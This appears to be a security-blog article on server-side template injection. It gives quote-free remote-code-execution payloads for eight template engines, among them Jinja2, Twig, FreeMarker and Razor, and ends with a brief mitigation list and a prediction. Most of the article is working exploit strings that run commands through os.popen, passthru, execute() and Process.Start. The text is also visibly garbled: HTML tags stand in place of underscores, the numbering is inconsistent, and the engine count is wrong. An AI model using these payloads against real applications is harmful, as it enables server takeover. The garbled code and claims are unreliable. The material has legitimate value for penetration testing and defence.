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Introduction:
Server-Side Template Injection (SSTI) is a critical vulnerability that allows attackers to inject malicious code into a template engine, often leading to Remote Code Execution (RCE). While many template engines implement sandboxing and auto-escaping to prevent exploitation, advanced techniques can circumvent these protections using only built-in functions. This article explores state-of-the-art SSTI exploitation across seven different engines, including Jinja2, Mako, Twig, Smarty, Blade, Groovy, and Razor, focusing on self-contained payloads that require no external quotes or plugins.
Learning Objectives:
- Understand how SSTI flaws arise in various template engines and their underlying architectures
- Master payload crafting techniques that bypass quote filtering and auto-escaping restrictions
- Implement effective mitigation strategies to secure applications against SSTI-to-RCE attacks
You Should Know:
1. Exploiting Jinja2 via Global Namespace Manipulation
Jinja2, the default Flask template engine, grants access to the entire Python ecosystem. To generate an arbitrary string without quotes, leverage the global namespace’s `__str__()` conversion:
{{self.<strong>init</strong>.<strong>globals</strong>.<strong>str</strong>()[1786:1788]}}
This extracts the substring “id” from the concatenated globals. Chain this with `os.popen()` to achieve RCE:
{{self._TemplateReference__context.cycler.<strong>init</strong>.<strong>globals</strong>.os.popen(self.<strong>init</strong>.<strong>globals</strong>.<strong>str</strong>()[1786:1788]).read()}}
The payload uses no quotes or external parameters, making it stealthy and reliable.
2. Mako: Crafting Strings with List Comprehension
Mako (used in Pyramid and Pylons) enables string construction via `chr()` on numeric ASCII codes:
${str().join(chr(i) for i in [105,100])}
To execute a command, pass the generated string to os.popen():
${self.module.cache.util.os.popen(str().join(chr(i) for i in [105,100])).read()}
For advanced users, a minimal alternative using `<% import os %>` is equally effective.
3. Overcoming Twig’s Auto‑Escaping with Block Nesting
Twig’s default auto‑escaping hinders direct string generation, but the `block` feature provides a bypass:
{% block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
Alternatively, if double rendering occurs, use the `_context` variable:
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
Both payloads adhere to the no‑quote constraint.
- Smarty and Blade: Leveraging PHP’s `chr()` and `passthru`
Smarty (PHP) builds strings by concatenating `chr()` calls with the `cat` modifier:
{chr(105)|cat:chr(100)}
To achieve RCE, wrap the generated string with passthru():
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
Blade (Laravel) uses similar PHP functions, but with standard dot concatenation:
{{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}
Then execute the command:
{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
These examples highlight how native PHP features can be repurposed.
5. Groovy: Space‑Free Command Execution
Groovy (Grails) allows dynamic string assembly using ASCII typecasting:
${((char)105).toString()+((char)100).toString()}
Execute the constructed command via `execute()`:
${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text}
To remove spaces, substitute them with multi‑line comments //:
${x=new//String();for(i//in[105,100]){x+=((char)i).toString()};x.execute().text}
This payload structure is ideal for strictly filtered inputs.
6. FreeMarker: Using the `lower_abc` Alphabet Translator
FreeMarker’s `lower_abc` function converts numbers to spreadsheet‑style letters (1 → “a”, 27 → “aa”). Exploit this to build command strings:
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[bash]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[bash]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[bash]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)}?new()(9?lower_abc+4?lower_abc)}
Although verbose, it demonstrates how unconventional built‑ins can be weaponised.
- Razor: Native C Execution in ASP.NET Core
Razor (ASP.NET Core) permits direct C execution, making RCE trivial:
@{string x=null;int[] l={119,104,111,97,109,105};foreach(int c in l){x+=((char)c).ToString();};}@x
Then execute the command via `System.Diagnostics.Process.Start()`:
@System.Diagnostics.Process.Start("cmd.exe","whoami");
This example underlines that even modern, type‑safe engines are vulnerable when sandboxing is misconfigured.
Mitigation Best Practices
To defend against SSTI‑to‑RCE attacks:
- Input Validation: Use strict regex or safe‑only whitelists to filter user input.
- Secure Template Configuration: Disable unsafe globals, enable auto‑escaping, and restrict access to
os,popen,passthru, and similar functions. - Updates: Keep template engines and frameworks patched; monitor vendor advisories for new vulnerabilities.
What Undercode Say:
- Key Takeaway 1: SSTI is not just a theoretical risk—functional RCE payloads exist for every major template engine, often without requiring quotation marks or external plugins.
- Key Takeaway 2: The root cause is never the template engine itself, but the unsafe integration of user input into rendering contexts.
By understanding the internals of each engine (global namespaces, charset variables, alphabet converters), security researchers can turn “limitations” into powerful exploit primitives. The presented payloads are self‑contained and reliable, making them invaluable for bug bounty hunters and pentesters.
Prediction:
As AI‑assisted code generation becomes widespread, injection‑style vulnerabilities like SSTI will initially increase due to insecure coding patterns suggested by language models. However, the same AI will eventually drive automated, context‑aware sandboxing and rendering‑time boundary enforcement. The arms race will accelerate, forcing organizations to adopt zero‑trust template execution environments—possibly as a standard cloud security control within the next 3–5 years.
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Reported By: Limitations Are – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
